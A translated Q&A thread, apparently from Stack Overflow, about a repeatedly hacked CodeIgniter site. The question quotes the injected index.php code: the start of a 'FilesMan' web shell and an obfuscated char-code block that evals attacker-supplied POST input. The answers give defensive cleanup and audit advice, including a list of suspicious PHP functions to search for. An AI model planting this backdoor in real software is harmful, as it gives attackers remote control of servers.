簡體   English   中英

Codeigniter應用程序被黑客入侵,代碼注入index.php

[英]Codeigniter application getting hacked, code injected in index.php

我有一個codeigniter 2.0.2項目,一直被黑客入侵。 有兩個主要問題:

  • 惡意代碼被添加到index.php文件的開頭
  • 惡意文件被添加到服務器

根據主機,沒有FTP日志表明這些文件已上傳。

  1. 由於沒有與惡意文件相關的FTP上傳日志 - 這是否意味着它必須是通過網站本身的利用,例如聯系或上傳表單?

  2. 該網站是在共享主機上 - 代碼它是同一服務器上的一個網站也被黑客攻擊,這是導致問題的原因?

  3. 如果我將index.php的文件名更改為其他內容會有幫助嗎?

  4. index.php被修改時,我應該將它變為644嗎?

  5. 我一直在尋找codeigniter項目的建議權限,但尚未獲得任何來源。 除了上傳/日志目錄(777)之外,我在網站上想到644 - 這聽起來不錯嗎?

注入index.php文件頂部的代碼:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

然后是一個帶有長編碼字符串的長preg_replace語句。 接下來是第二個聲明:

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

有一個聯系表單和一個表單,用戶可以使用CKFinder 2.0.1上傳項目。 要更新它,看看是否能解決它。

你可以做幾件事:

  • 檢查您的日志文件是否有對具有奇怪或不熟悉名稱的文件的POST請求,例如.cache_123.php - 這些可能是后門腳本,尤其是以點開頭的文件名,因此將其隱藏在(常規)文件系統中。
  • 下載完整的實時網站,並在網站范圍內搜索諸如base64_decodeexecpreg_replacepassthrusystemshell_execevalFilesMan
  • 通過反病毒軟件(AVG,Avast,...)運行它來檢查整個(下載的實時)站點
  • 如果可能的話,Chmod上傳目錄775而不是777

我知道這是一個舊線程,但我想添加一個選項來確定問題發生的原因和位置。

創建一個每次加載的掛鈎(在哪個階段無關緊要)並將$ this-> input-> post()和 - > get()與類名和方法名一起轉儲到日志文件中。

通過這種方式,您可以快速找到問題所在的位置。

我認為破解PHP應用程序而不是FTP服務器要容易得多。 你有任何上傳表格嗎? 如果您無法使用VPS,請嘗試讓您的主機將其移至另一台共享服務器。

我認為您確實需要執行代碼審計以找出核心漏洞所在的位置。 除非您運行某種完整性檢查,否則您無法確定攻擊者是否已將后門放入其他文件中。

作為快速解決方案,我建議您盡可能安裝ModSecurity Apache模塊。 接下來,在代碼中查找可能發生文件注入的位置(通常是文件上載功能)。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM